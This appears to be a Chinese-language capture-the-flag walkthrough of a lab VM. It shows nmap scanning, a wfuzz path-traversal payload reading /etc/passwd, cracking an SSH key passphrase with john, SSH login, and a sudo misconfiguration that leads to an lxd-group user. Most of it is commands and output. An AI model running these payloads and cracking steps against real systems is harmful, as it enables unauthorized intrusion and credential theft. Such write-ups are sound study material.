[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.37:22 Open 192.168.100.37:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.37 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 15:05 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.00s elapsed Initiating ARP Ping Scan at 15:05 Scanning 192.168.100.37 [1 port] Completed ARP Ping Scan at 15:05, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 15:05 Completed Parallel DNS resolution of 1 host. at 15:05, 1.50s elapsed DNS resolution of 1 IPs took 1.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0] Initiating SYN Stealth Scan at 15:05 Scanning 192.168.100.37 [2 ports] Discovered open port 80/tcp on 192.168.100.37 Discovered open port 22/tcp on 192.168.100.37 Completed SYN Stealth Scan at 15:05, 0.02s elapsed (2 total ports) Initiating Service scan at 15:05 Scanning 2 services on 192.168.100.37 Completed Service scan at 15:05, 6.03s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.100.37 NSE: Script scanning 192.168.100.37. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.23s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.00s elapsed Nmap scan report for 192.168.100.37 Host is up, received arp-response (0.00054s latency). Scanned at 2026-07-15 15:05:46 CST for 8s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGjZjT9uVInycGr+L2uWFk2OHfIU6ziqLqjc31ns1WmQ6Hr6uDnP8LT23hig2aIXwb3uRT1F7Q1q5YSr4zozu64= | 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINl5E2qTz+BE4drC1MXdiCyaKavO+3ur4RldEaIe41fC 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian)) |_http-title: Tortilla Papas |_http-server-header: Apache/2.4.57 (Debian) | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST MAC Address: 08:00:27:B6:D0:52 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=7/15%OT=22%CT=%CU=41762%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A573152%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=106%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 30.309 days (since Mon Jun 15 07:41:05 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=256 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.54 ms 192.168.100.37
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 15:05 Completed NSE at 15:05, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.35 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
──(root㉿Eecho)-[/usr/share/seclists/Discovery/Web-Content] └─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -u "http://192.168.100.37/agua.php/?FUZZ=....//....//....//....//....//....//etc/passwd" --hc 404 --hh 26574 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. /usr/local/lib/python3.13/dist-packages/requests-2.27.1-py3.13.egg/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (2.6.3) or chardet (5.2.0)/charset_normalizer (3.4.4) doesn't match a supported version! ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.100.37/agua.php/?FUZZ=....//....//....//....//....//....//etc/passwd Total requests: 1273832
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000758: 200 507 L 1588 W 27943 Ch "file"
有两个用户concebolla和sincebolla
尝试读取私钥,但是发现它并不在用户的家目录下而是/opt目录下
私钥存在passphrase保护,破解密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿Eecho)-[/tmp/aaaa] └─# ssh2john id_rsa > rsa_hash.txt ┌──(root㉿Eecho)-[/tmp/aaaa] └─# john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status honda1 (id_rsa) 1g 0:00:00:14 DONE (2026-07-15 18:56) 0.07037g/s 256.7p/s 256.7c/s 256.7C/s girls..654123 Use the "--show" option to display all of the cracked passwords reliably Session completed.
ssh登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿Eecho)-[/tmp/aaaa] └─# ssh sincebolla@192.168.100.37 -i id_rsa Enter passphrase for key 'id_rsa': Linux tortillapapas 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Apr 18 12:40:58 2024 from 192.168.0.104 sincebolla@tortillapapas:~$ id uid=1001(sincebolla) gid=1001(sincebolla) grupos=1001(sincebolla),100(users) sincebolla@tortillapapas:~$
提权
sincebolla -> concebolla
1 2 3 4 5 6
sincebolla@tortillapapas:~$ sudo -l Matching Defaults entries for sincebolla on tortillapapas: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sincebolla may run the following commands on tortillapapas: (concebolla) NOPASSWD: /usr/sbin/smokeping
concebolla@tortillapapas:~/.config/lxc$ id uid=1000(concebolla) gid=1000(concebolla) grupos=1000(concebolla),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1002(lxd)